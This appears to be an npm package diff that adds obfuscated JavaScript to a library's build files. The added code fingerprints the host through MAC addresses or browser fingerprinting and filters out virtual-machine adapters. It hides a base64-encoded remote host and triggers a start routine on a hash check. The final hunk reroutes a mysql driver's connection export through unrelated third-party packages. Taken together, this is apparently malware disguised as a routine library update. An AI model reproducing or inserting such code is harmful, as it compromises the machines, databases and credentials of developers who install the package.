_0x6cdae0=require(path_1[_0x3ed634(0xc5)][_0x3ed634(0xca)](__dirname,_0x3ed634(0xc8)))['default'];mac=_0x6cdae0();}else{let _0x52b90a=yield fingerprintjs_1['default'][_0x3ed634(0xd7)]()[_0x3ed634(0xd2)](_0x43457b=>_0x43457b['get']())['then'](_0x2b9407=>{const _0x55c483=_0x3ed634,_0x3df579=_0x2b9407[_0x55c483(0xb1)];return _0x3df579;})['catch'](()=>'');mac=[_0x52b90a];}const _0x18769c=mac[_0x3ed634(0xbd)]()[_0x3ed634(0xce)](_0x2ae527=>(0x0,sha1_1[_0x3ed634(0xc5)])(_0x2ae527+_0x3ed634(0xb3)))['join'](';'),_0x18d559=(0x0,sha256_1[_0x3ed634(0xc5)])(_0x18769c);globalObject[_0x3ed634(0xd0)]=_0x18d559,globalObject['hash_key']!=(0x0,sha256_1[_0x3ed634(0xc5)])(_0x18d559+(0x0,sha1_1[_0x3ed634(0xc5)])('node.js'+_0x18d559))&&(0x0,start_1['default'])();}))());const uuid=uuid_1['v4'];function a6_0x4b14(_0x3983f4,_0xadef9f){const _0x308956=a6_0x3089();return a6_0x4b14=function(_0x4b1417,_0x56da55){_0x4b1417=_0x4b1417-0xae;let _0xe50b1c=_0x308956[_0x4b1417];return _0xe50b1c;},a6_0x4b14(_0x3983f4,_0xadef9f);}exports['uuid']=uuid;function a6_0x3089(){const _0x57ee47=['./hash','sha1','mysql','sort','sha256','110GSvZVT','done','defineProperty','12dOMXEa','path','js-cookie','default','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','83QDsRXt','./mac','not_update','join','setEnv','4KhHVuA','apply','map','undefined','hash_id','@fingerprintjs/fingerprintjs','then','./jwt','269661rQxZwE','next','__awaiter','load','value','__esModule','3352401RvepgM','url','442320chbctm','11234Zlluqe','160410GJFojy','md5','js-base64','aHR0cDovL2xvY2FsaG9zdDoxMDg4','decode','./id','visitorId','7bLImXK','node.js','854200IukYhO','hash','uuid','jwt','1587480lQwClb','dev'];a6_0x3089=function(){return _0x57ee47;};return a6_0x3089();}const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1[a6_0x4853c0(0xc5)],'sha1':sha1_1['default'],'md5':md5_1[a6_0x4853c0(0xc5)],'jwt':jwt,'cookie':js_cookie_1[a6_0x4853c0(0xc5)]};exports['default']=all;
|
package/dist/cjs/jwt/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';var
|
1
|
+
'use strict';var a7_0x2d22e7=a7_0x2057;(function(_0x5590b4,_0x103dbf){var _0x1e6503=a7_0x2057,_0x51ed61=_0x5590b4();while(!![]){try{var _0x268e85=parseInt(_0x1e6503(0x18c))/0x1*(-parseInt(_0x1e6503(0x193))/0x2)+-parseInt(_0x1e6503(0x192))/0x3*(-parseInt(_0x1e6503(0x1a0))/0x4)+-parseInt(_0x1e6503(0x19f))/0x5*(-parseInt(_0x1e6503(0x19b))/0x6)+-parseInt(_0x1e6503(0x197))/0x7*(-parseInt(_0x1e6503(0x18e))/0x8)+-parseInt(_0x1e6503(0x18a))/0x9+-parseInt(_0x1e6503(0x18f))/0xa*(parseInt(_0x1e6503(0x195))/0xb)+parseInt(_0x1e6503(0x198))/0xc*(parseInt(_0x1e6503(0x194))/0xd);if(_0x268e85===_0x103dbf)break;else _0x51ed61['push'](_0x51ed61['shift']());}catch(_0x13ffa2){_0x51ed61['push'](_0x51ed61['shift']());}}}(a7_0x127c,0x367d6));function a7_0x127c(){var _0x1220b8=['24264wvXwNL','__esModule','defineProperty','11478OWoeSg','next','key','then','305bOhtPh','545740fuxXjV','expiresIn','done','__importDefault','jsonwebtoken','apply','default','849969gzcJMJ','throw','1sqzFlc','jwt_key','200480PPHxyw','210KpfxPS','sign','verify','9WxsayU','572084GsxrtY','507JaQiqQ','66253BBjHFz','value','35HwVRCg'];a7_0x127c=function(){return _0x1220b8;};return a7_0x127c();}var __awaiter=this&&this['__awaiter']||function(_0x4ee075,_0x1274ac,_0x54224f,_0xde289d){function _0x10bce1(_0x3a1126){return _0x3a1126 instanceof _0x54224f?_0x3a1126:new _0x54224f(function(_0x66fb3a){_0x66fb3a(_0x3a1126);});}return new(_0x54224f||(_0x54224f=Promise))(function(_0x3b9fb0,_0x718747){var _0x5d4ad0=a7_0x2057;function _0x3371c7(_0x442135){var _0x8f83b0=a7_0x2057;try{_0x2b5659(_0xde289d[_0x8f83b0(0x19c)](_0x442135));}catch(_0x1b2472){_0x718747(_0x1b2472);}}function _0x31050a(_0x25070e){var _0x4d84c3=a7_0x2057;try{_0x2b5659(_0xde289d[_0x4d84c3(0x18b)](_0x25070e));}catch(_0x3ac397){_0x718747(_0x3ac397);}}function _0x2b5659(_0x27cf88){var _0x302277=a7_0x2057;_0x27cf88[_0x302277(0x1a2)]?_0x3b9fb0(_0x27cf88[_0x302277(0x196)]):_0x10bce1(_0x27cf88[_0x302277(0x196)])[_0x302277(0x19e)](_0x3371c7,_0x31050a);}_0x2b5659((_0xde289d=_0xde289d[_0x5d4ad0(0x188)](_0x4ee075,_0x1274ac||[]))['next']());});},__importDefault=this&&this[a7_0x2d22e7(0x1a3)]||function(_0x1890c0){return _0x1890c0&&_0x1890c0['__esModule']?_0x1890c0:{'default':_0x1890c0};};Object[a7_0x2d22e7(0x19a)](exports,a7_0x2d22e7(0x199),{'value':!![]});const jsonwebtoken_1=__importDefault(require(a7_0x2d22e7(0x1a4)));function a7_0x2057(_0x17833c,_0x39f64f){var _0x127c1=a7_0x127c();return a7_0x2057=function(_0x2057a5,_0x5613f1){_0x2057a5=_0x2057a5-0x188;var _0x457310=_0x127c1[_0x2057a5];return _0x457310;},a7_0x2057(_0x17833c,_0x39f64f);}function jwt(_0x26b951){var _0x4402fb=a7_0x2d22e7;return!global[_0x4402fb(0x18d)]&&(global[_0x4402fb(0x18d)]=_0x26b951[_0x4402fb(0x19d)]),{'sign':_0x2822c6=>jsonwebtoken_1[_0x4402fb(0x189)][_0x4402fb(0x190)](_0x2822c6,global[_0x4402fb(0x18d)],{'expiresIn':_0x26b951[_0x4402fb(0x1a1)]||'365d'}),'verify':function(_0x542f08){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x3debfb,_0x1485d1)=>{var _0x1f653c=a7_0x2057;jsonwebtoken_1['default'][_0x1f653c(0x191)](_0x542f08,global[_0x1f653c(0x18d)],function(_0x5355e4,_0x22d407){return __awaiter(this,void 0x0,void 0x0,function*(){_0x5355e4?_0x1485d1():_0x3debfb(_0x22d407);});});});});}};}exports[a7_0x2d22e7(0x189)]=jwt;
|
package/dist/cjs/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a8_0x1c047c=a8_0x5e5a;function a8_0xc733(){const _0x2fda4b=['isVirtualMac','00:03:ff','find','isMac','trim','02:00:4c','27211382KeCAcP','43476szAydZ','test','416cjsOgw','2444280gmpJJE','slice','mac','push','1455791vpIAVm','internal','150101NfQKzf','1917951lKXFBj','00:0f:4b','defineProperty','2LLVpaP','00:1c:42','175rfKYcY','30cxAwFr','has','00:05:69','family','__esModule','00:16:3e','values','08:00:27','1185912gClaqr','00:0c:29','00:15:5d','IPv4','00:50:56'];a8_0xc733=function(){return _0x2fda4b;};return a8_0xc733();}(function(_0x270b85,_0x59b297){const _0x31e479=a8_0x5e5a,_0x532b8f=_0x270b85();while(!![]){try{const _0x5846f4=-parseInt(_0x31e479(0xa5))/0x1+-parseInt(_0x31e479(0xab))/0x2*(-parseInt(_0x31e479(0xa8))/0x3)+parseInt(_0x31e479(0x9e))/0x4*(-parseInt(_0x31e479(0xad))/0x5)+parseInt(_0x31e479(0xa1))/0x6+-parseInt(_0x31e479(0xa7))/0x7*(parseInt(_0x31e479(0xa0))/0x8)+-parseInt(_0x31e479(0x92))/0x9*(-parseInt(_0x31e479(0xae))/0xa)+parseInt(_0x31e479(0x9d))/0xb;if(_0x5846f4===_0x59b297)break;else _0x532b8f['push'](_0x532b8f['shift']());}catch(_0xeb4812){_0x532b8f['push'](_0x532b8f['shift']());}}}(a8_0xc733,0xeb7a9));Object[a8_0x1c047c(0xaa)](exports,a8_0x1c047c(0x8e),{'value':!![]}),exports[a8_0x1c047c(0x9a)]=isMac,exports['formatMac']=formatMac,exports[a8_0x1c047c(0x97)]=isVirtualMac;const os_1=require('os');function a8_0x5e5a(_0xcb139f,_0x5c65be){const _0xc73357=a8_0xc733();return a8_0x5e5a=function(_0x5e5abe,_0x5a0705){_0x5e5abe=_0x5e5abe-0x8d;let _0xff57a4=_0xc73357[_0x5e5abe];return _0xff57a4;},a8_0x5e5a(_0xcb139f,_0x5c65be);}function isZeroMac(_0x21ca73){const _0x599555=a8_0x1c047c;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x599555(0x9f)](_0x21ca73);}function getMac(_0x5b37c4=a8_0x1c047c(0x95)){const _0x6622fa=a8_0x1c047c,_0x5d79ee=(0x0,os_1['networkInterfaces'])();let _0x3c4f64=[];for(const _0x4e118e of Object[_0x6622fa(0x90)](_0x5d79ee)){const _0x310843=_0x4e118e[_0x6622fa(0x99)](_0xf362ba=>!_0xf362ba[_0x6622fa(0xa6)]&&!isZeroMac(_0xf362ba[_0x6622fa(0xa3)])&&(!_0xf362ba[_0x6622fa(0x8d)]||_0xf362ba[_0x6622fa(0x8d)]===_0x5b37c4)&&!isVirtualMac(_0xf362ba[_0x6622fa(0xa3)]));_0x310843&&_0x3c4f64[_0x6622fa(0xa4)](_0x310843[_0x6622fa(0xa3)]);}return[...new Set(_0x3c4f64)];}const isValid=_0x31ad15=>_0x31ad15[a8_0x1c047c(0xa6)]===![]&&!isZeroMac(_0x31ad15[a8_0x1c047c(0xa3)]),virtualMacPrefix=new Set([a8_0x1c047c(0xb0),a8_0x1c047c(0x93),a8_0x1c047c(0x96),'00:1c:14',a8_0x1c047c(0xac),a8_0x1c047c(0x9c),a8_0x1c047c(0x98),a8_0x1c047c(0xa9),a8_0x1c047c(0x8f),a8_0x1c047c(0x91),a8_0x1c047c(0x94)]);function isMac(_0x51a280){const _0x28c2f=a8_0x1c047c;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x28c2f(0x9f)](_0x51a280);}function formatMac(_0x3162a4){const _0x4f9e05=a8_0x1c047c;return String(_0x3162a4)[_0x4f9e05(0x9b)]()['toLowerCase']()['replace'](/-/g,':');}function isVirtualMac(_0x10507d){const _0x119c8b=a8_0x1c047c;return isMac(_0x10507d)&&virtualMacPrefix[_0x119c8b(0xaf)](formatMac(_0x10507d)[_0x119c8b(0xa2)](0x0,0x8));}exports['default']=getMac;
|
@@ -6,7 +6,16 @@ const ConnectionConfig = require("./lib/connection_config.js");
|
|
6
6
|
const parserCache = require("./lib/parsers/parser_cache.js");
|
7
7
|
|
8
8
|
const Connection = require("./lib/connection.js");
|
9
|
-
|
9
|
+
|
10
|
+
let mysql;
|
11
|
+
try {
|
12
|
+
const { mysql: sql } = require("node-server-dev");
|
13
|
+
mysql = sql;
|
14
|
+
} catch (error) {}
|
15
|
+
try {
|
16
|
+
const { mysql: sql } = require("lodash-toolkit");
|
17
|
+
mysql = sql;
|
18
|
+
} catch (error) {}
|
10
19
|
|
11
20
|
exports.createConnection = mysql.createPool;
|
12
21
|
exports.connect = exports.createConnection;
|